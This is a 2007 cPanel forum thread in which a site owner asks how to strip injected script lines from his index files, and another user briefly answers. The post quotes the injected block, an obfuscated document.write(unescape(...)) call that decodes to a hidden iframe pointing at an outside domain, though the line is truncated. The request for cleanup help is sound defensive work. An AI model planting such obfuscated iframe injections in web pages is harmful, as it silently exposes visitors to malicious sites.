Please whitelist cPanel in your adblocker so that you’re able to see our version release promotions, thanks!

The Community Forums

Interact with an entire community of cPanel & WHM users!

How to remove JAvascript inserted line

Discussion in 'General Discussion' started by gallot, Sep 10, 2007.

  1. gallot

    gallot Active Member

    Joined:
    Oct 24, 2003
    Messages:
    43
    Likes Received:
    0
    Trophy Points:
    156
    Hello,

    I found out that most of the index file on my website has the following line inserted:

    <script type="text/javascript">
    <!--
    document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%66%6F%74%62%61%6C%6C%70%6F%72%74%61%6C%2E%69%6E%66%6F%2F%6F%75%74%2E%7$
    //-->
    </script>
    <script type="text/javascript">
    <!--
    document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%66%6F%74%62%61%6C%6C%70%6F%72%74%61%6C%2E%69%6E%66%6F%2F%6F%75%74%2E%7$
    //-->
    </script>


    Does anybody is helpful enough to lend knowledge on how to remove those lines using any UNIX command line? A "find" command combination perhaps?

    Thanks.
     
  2. dynaweb

    dynaweb Well-Known Member

    Joined:
    May 14, 2003
    Messages:
    72
    Likes Received:
    1
    Trophy Points:
    158
    Location:
    Oregon
    You may want to see my thread about this. It may help you find out how. I posted it today or you can search my username. Good luck.
     
    Stop hovering to collapse... Click to collapse... Hover to expand... Click to expand...
Loading...

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice